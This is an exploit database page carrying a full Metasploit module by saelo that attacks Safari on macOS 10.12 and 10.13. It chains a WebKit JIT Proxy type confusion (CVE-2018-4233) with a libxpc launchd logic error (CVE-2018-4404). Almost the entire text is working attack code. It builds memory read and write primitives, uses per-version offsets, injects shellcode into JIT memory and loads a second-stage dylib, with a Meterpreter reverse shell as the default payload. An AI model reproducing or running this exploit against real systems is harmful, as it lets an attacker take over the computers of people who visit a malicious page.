Lucene search

K
packetstormSaeloPACKETSTORM:150779
HistoryDec 13, 2018 - 12:00 a.m.

Safari Proxy Object Type Confusion

2018-12-1300:00:00
saelo
packetstormsecurity.com
74

0.018 Low

EPSS

Percentile

86.6%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Safari Proxy Object Type Confusion',  
'Description' => %q{  
This module exploits a type confusion bug in the Javascript Proxy object in  
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,  
it is possible to run arbitrary JS code during the execution of a CreateThis  
operation. This makes it possible to change the structure of e.g. an argument  
without causing a bailout, leading to a type confusion (CVE-2018-4233).  
  
The JIT region is then replaced with shellcode which loads the second stage.  
The second stage exploits a logic error in libxpc, which uses command execution  
via the launchd's "spawn_via_launchd" API (CVE-2018-4404).  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'saelo' ],  
'References' => [  
['CVE', '2018-4233'],  
['CVE', '2018-4404'],  
['URL', 'https://github.com/saelo/cve-2018-4233'],  
['URL', 'https://github.com/saelo/pwn2own2018'],  
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],  
],  
'Arch' => [ ARCH_PYTHON, ARCH_CMD ],  
'Platform' => 'osx',  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],  
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],  
],  
'DisclosureDate' => 'Mar 15 2018'))  
register_advanced_options([  
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),  
])  
end  
  
def offset_table  
{  
'10.12.6' => {  
:jsc_vtab => '0x0000d8d8',  
:dyld_stub_loader => '0x00001168',  
:dlopen => '0x000027f7',  
:confstr => '0x00002c84',  
:strlen => '0x00001b40',  
:strlen_got => '0xdc0',  
},  
'10.13' => {  
:jsc_vtab => '0x0000e5f8',  
:dyld_stub_loader => '0x000012a8',  
:dlopen => '0x00002e60',  
:confstr => '0x000024fc',  
:strlen => '0x00001440',  
:strlen_got => '0xee8',  
},  
'10.13.3' => {  
:jsc_vtab => '0xe5e8',  
:dyld_stub_loader => '0x1278',  
:dlopen => '0x2e30',  
:confstr => '0x24dc',  
:strlen => '0x1420',  
:strlen_got => '0xee0',  
},  
}  
end  
  
def exploit_data(directory, file)  
path = ::File.join Msf::Config.data_directory, 'exploits', directory, file  
::File.binread path  
end  
  
def stage1_js  
stage1 = exploit_data "CVE-2018-4233", "stage1.bin"  
"var stage1 = new Uint8Array([#{Rex::Text::to_num(stage1)}]);"  
end  
  
def stage2_js  
stage2 = exploit_data "CVE-2018-4404", "stage2.dylib"  
payload_cmd = payload.raw  
if target['Arch'] == ARCH_PYTHON  
payload_cmd = "echo \"#{payload_cmd}\" | python"  
end  
placeholder_index = stage2.index('PAYLOAD_CMD_PLACEHOLDER')  
stage2[placeholder_index, payload_cmd.length] = payload_cmd  
"var stage2 = new Uint8Array([#{Rex::Text::to_num(stage2)}]);"  
end  
  
def get_offsets(user_agent)  
if user_agent =~ /Intel Mac OS X (.*?)\)/  
version = $1.gsub("_", ".")  
mac_osx_version = Gem::Version.new(version)  
if mac_osx_version >= Gem::Version.new('10.13.4')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
elsif mac_osx_version < Gem::Version.new('10.12')  
print_warning "macOS version #{mac_osx_version} is not vulnerable"  
elsif offset_table.key?(version)  
offset = offset_table[version]  
return <<-EOF  
const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};  
const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};  
const DLOPEN_OFFSET = #{offset[:dlopen]};  
const CONFSTR_OFFSET = #{offset[:confstr]};  
const STRLEN_OFFSET = #{offset[:strlen]};  
const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};  
EOF  
else  
print_warning "No offsets for version #{mac_osx_version}"  
end  
else  
print_warning "Unexpected User-Agent"  
end  
return false  
end  
  
def on_request_uri(cli, request)  
user_agent = request['User-Agent']  
print_status("Request from #{user_agent}")  
offsets = get_offsets(user_agent)  
unless offsets  
send_not_found(cli)  
return  
end  
  
utils = exploit_data "CVE-2018-4233", "utils.js"  
int64 = exploit_data "CVE-2018-4233", "int64.js"  
html = %Q^  
<html>  
<body>  
<script>  
#{stage1_js}  
stage1.replace = function(oldVal, newVal) {  
for (var idx = 0; idx < this.length; idx++) {  
var found = true;  
for (var j = idx; j < idx + 8; j++) {  
if (this[j] != oldVal.byteAt(j - idx)) {  
found = false;  
break;  
}  
}  
if (found)  
break;  
}  
this.set(newVal.bytes(), idx);  
};  
#{stage2_js}  
#{utils}  
#{int64}  
#{offsets}  
  
var ready = new Promise(function(resolve) {  
if (typeof(window) === 'undefined')  
resolve();  
else  
window.onload = function() {  
resolve();  
}  
});  
  
ready = Promise.all([ready]);  
  
print = function(msg) {  
//console.log(msg);  
//document.body.innerText += msg + '\\n';  
}  
  
// Must create this indexing type transition first,  
// otherwise the JIT will deoptimize later.  
var a = [13.37, 13.37];  
a[0] = {};  
  
var referenceFloat64Array = new Float64Array(0x1000);  
  
//  
// Bug: the DFG JIT does not take into account that, through the use of a  
// Proxy, it is possible to run arbitrary JS code during the execution of a  
// CreateThis operation. This makes it possible to change the structure of e.g.  
// an argument without causing a bailout, leading to a type confusion.  
//  
  
//  
// addrof primitive  
//  
function setupAddrof() {  
function InfoLeaker(a) {  
this.address = a[0];  
}  
  
var trigger = false;  
var leakme = null;  
var arg = null;  
  
var handler = {  
get(target, propname) {  
if (trigger)  
arg[0] = leakme;  
return target[propname];  
},  
};  
var InfoLeakerProxy = new Proxy(InfoLeaker, handler);  
  
for (var i = 0; i < 100000; i++) {  
new InfoLeakerProxy([1.1, 2.2, 3.3]);  
}  
  
trigger = true;  
  
return function(obj) {  
leakme = obj;  
arg = [1.1, 1.1];  
var o = new InfoLeakerProxy(arg);  
return o.address;  
};  
}  
  
//  
// fakeobj primitive  
//  
function setupFakeobj() {  
function ObjFaker(a, address) {  
a[0] = address;  
}  
  
var trigger = false;  
var arg = null;  
  
var handler = {  
get(target, propname) {  
if (trigger)  
arg[0] = {};  
return target[propname];  
},  
};  
var ObjFakerProxy = new Proxy(ObjFaker, handler);  
  
for (var i = 0; i < 100000; i++) {  
new ObjFakerProxy([1.1, 2.2, 3.3], 13.37);  
}  
  
trigger = true;  
  
return function(address) {  
arg = [1.1, 1.1];  
var o = new ObjFakerProxy(arg, address);  
return arg[0];  
};  
}  
  
function makeJITCompiledFunction() {  
// Some code to avoid inlining...  
function target(num) {  
for (var i = 2; i < num; i++) {  
if (num % i === 0) {  
return false;  
}  
}  
return true;  
}  
  
// Force JIT compilation.  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
for (var i = 0; i < 1000; i++) {  
target(i);  
}  
return target;  
}  
  
function pwn() {  
// Spray Float64Array structures so that structure ID 0x1000 will  
// be a Float64Array with very high probability  
var structs = [];  
for (var i = 0; i < 0x1000; i++) {  
var a = new Float64Array(1);  
a['prop' + i] = 1337;  
structs.push(a);  
}  
  
// Setup exploit primitives  
var addrofOnce = setupAddrof();  
var fakeobjOnce = setupFakeobj();  
  
// (Optional) Spray stuff to keep the background GC busy and increase reliability even further  
/*  
var stuff = [];  
for (var i = 0; i < 0x100000; i++) {  
stuff.push({foo: i});  
}  
*/  
  
var float64MemView = new Float64Array(0x200);  
var uint8MemView = new Uint8Array(0x1000);  
  
// Setup container to host the fake Float64Array  
var jsCellHeader = new Int64([  
00, 0x10, 00, 00, // m_structureID  
0x0, // m_indexingType  
0x2b, // m_type  
0x08, // m_flags  
0x1 // m_cellState  
]);  
  
var container = {  
jsCellHeader: jsCellHeader.asJSValue(),  
butterfly: null,  
vector: float64MemView,  
length: (new Int64('0x0001000000001337')).asJSValue(),  
mode: {}, // an empty object, we'll need that later  
};  
  
// Leak address and inject fake object  
// RawAddr == address in float64 form  
var containerRawAddr = addrofOnce(container);  
var fakeArrayAddr = Add(Int64.fromDouble(containerRawAddr), 16);  
print("[+] Fake Float64Array @ " + fakeArrayAddr);  
  
///  
/// BEGIN CRITICAL SECTION  
///  
/// Objects are corrupted, a GC would now crash the process.  
/// We'll try to repair everything as quickly as possible and with a minimal amount of memory allocations.  
///  
var driver = fakeobjOnce(fakeArrayAddr.asDouble());  
while (!(driver instanceof Float64Array)) {  
jsCellHeader.assignAdd(jsCellHeader, Int64.One);  
container.jsCellHeader = jsCellHeader.asJSValue();  
}  
  
// Get some addresses that we'll need to repair our objects. We'll abuse the .mode  
// property of the container to leak addresses.  
driver[2] = containerRawAddr;  
var emptyObjectRawAddr = float64MemView[6];  
container.mode = referenceFloat64Array;  
var referenceFloat64ArrayRawAddr = float64MemView[6];  
  
// Fixup the JSCell header of the container to make it look like an empty object.  
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Float64Array.  
driver[2] = emptyObjectRawAddr;  
var header = float64MemView[0];  
driver[2] = containerRawAddr;  
float64MemView[0] = header;  
  
// Copy the JSCell header from an existing Float64Array and set the butterfly to zero.  
// Also set the mode: make it look like an OversizeTypedArray for easy GC survival  
// (see JSGenericTypedArrayView<Adaptor>::visitChildren).  
driver[2] = referenceFloat64ArrayRawAddr;  
var header = float64MemView[0];  
var length = float64MemView[3];  
var mode = float64MemView[4];  
driver[2] = containerRawAddr;  
float64MemView[2] = header;  
float64MemView[3] = 0;  
float64MemView[5] = length;  
float64MemView[6] = mode;  
  
// Root the container object so it isn't garbage collected.  
// This will allocate a butterfly for the fake object and store a reference to the container there.  
// The fake array itself is rooted by the memory object (closures).  
driver.container = container;  
  
///  
/// END CRITICAL SECTION  
///  
/// Objects are repaired, we will now survive a GC  
///  
if (typeof(gc) !== 'undefined')  
gc();  
  
memory = {  
read: function(addr, length) {  
driver[2] = memory.addrof(uint8MemView).asDouble();  
float64MemView[2] = addr.asDouble();  
var a = new Array(length);  
for (var i = 0; i < length; i++)  
a[i] = uint8MemView[i];  
return a;  
},  
  
write: function(addr, data) {  
driver[2] = memory.addrof(uint8MemView).asDouble();  
float64MemView[2] = addr.asDouble();  
for (var i = 0; i < data.length; i++)  
uint8MemView[i] = data[i];  
},  
  
read8: function(addr) {  
driver[2] = addr.asDouble();  
return Int64.fromDouble(float64MemView[0]);  
},  
  
write8: function(addr, value) {  
driver[2] = addr.asDouble();  
float64MemView[0] = value.asDouble();  
},  
  
addrof: function(obj) {  
float64MemView.leakme = obj;  
var butterfly = Int64.fromDouble(driver[1]);  
return memory.read8(Sub(butterfly, 0x10));  
},  
};  
  
print("[+] Got stable memory read/write!");  
  
// Find binary base  
var funcAddr = memory.addrof(Math.sin);  
var executableAddr = memory.read8(Add(funcAddr, 24));  
var codeAddr = memory.read8(Add(executableAddr, 24));  
var vtabAddr = memory.read8(codeAddr);  
var jscBaseUnaligned = Sub(vtabAddr, JSC_VTAB_OFFSET);  
print("[*] JavaScriptCore.dylib @ " + jscBaseUnaligned);  
var jscBase = And(jscBaseUnaligned, new Int64("0x7ffffffff000"));  
print("[*] JavaScriptCore.dylib @ " + jscBase);  
  
var dyldStubLoaderAddr = memory.read8(jscBase);  
var dyldBase = Sub(dyldStubLoaderAddr, DYLD_STUB_LOADER_OFFSET);  
var strlenAddr = memory.read8(Add(jscBase, STRLEN_GOT_OFFSET));  
var libCBase = Sub(strlenAddr, STRLEN_OFFSET);  
print("[*] dyld.dylib @ " + dyldBase);  
print("[*] libsystem_c.dylib @ " + libCBase);  
  
var confstrAddr = Add(libCBase, CONFSTR_OFFSET);  
print("[*] confstr @ " + confstrAddr);  
var dlopenAddr = Add(dyldBase, DLOPEN_OFFSET);  
print("[*] dlopen @ " + dlopenAddr);  
  
// Patching shellcode  
var stage2Addr = memory.addrof(stage2);  
stage2Addr = memory.read8(Add(stage2Addr, 16));  
print("[*] Stage 2 payload @ " + stage2Addr);  
  
stage1.replace(new Int64("0x4141414141414141"), confstrAddr);  
stage1.replace(new Int64("0x4242424242424242"), stage2Addr);  
stage1.replace(new Int64("0x4343434343434343"), new Int64(stage2.length));  
stage1.replace(new Int64("0x4444444444444444"), dlopenAddr);  
print("[+] Shellcode patched");  
  
// Leak JITCode pointer poison value  
var poison_addr = Add(jscBase, 305152);  
print("[*] Poison value @ " + poison_addr);  
var poison = memory.read8(poison_addr);  
print("[*] Poison value: " + poison);  
  
// Shellcode  
var func = makeJITCompiledFunction();  
var funcAddr = memory.addrof(func);  
print("[+] Shellcode function object @ " + funcAddr);  
var executableAddr = memory.read8(Add(funcAddr, 24));  
print("[+] Executable instance @ " + executableAddr);  
var jitCodeAddr = memory.read8(Add(executableAddr, 24));  
print("[+] JITCode instance @ " + jitCodeAddr);  
  
var codeAddrPoisoned = memory.read8(Add(jitCodeAddr, 32));  
var codeAddr = Xor(codeAddrPoisoned, poison);  
print("[+] RWX memory @ " + codeAddr.toString());  
print("[+] Writing shellcode...");  
var origCode = memory.read(codeAddr, stage1.length);  
memory.write(codeAddr, stage1);  
  
print("[!] Jumping into shellcode...");  
var res = func();  
if (res === 0) {  
print("[+] Shellcode executed sucessfully!");  
} else {  
print("[-] Shellcode failed to execute: error " + res);  
}  
  
memory.write(codeAddr, origCode);  
print("[*] Restored previous JIT code");  
  
print("[+] We are done here, continuing WebContent process as if nothing happened =)");  
if (typeof(gc) !== 'undefined')  
gc();  
}  
  
ready.then(function() {  
try {  
pwn();  
} catch (e) {  
print("[-] Exception caught: " + e);  
}  
}).catch(function(err) {  
print("[-] Initializatin failed");  
});  
  
</script>  
</body>  
</html>  
^  
unless datastore['DEBUG_EXPLOIT']  
html.gsub!(/^\s*print\s*\(.*?\);\s*$/, '')  
end  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
`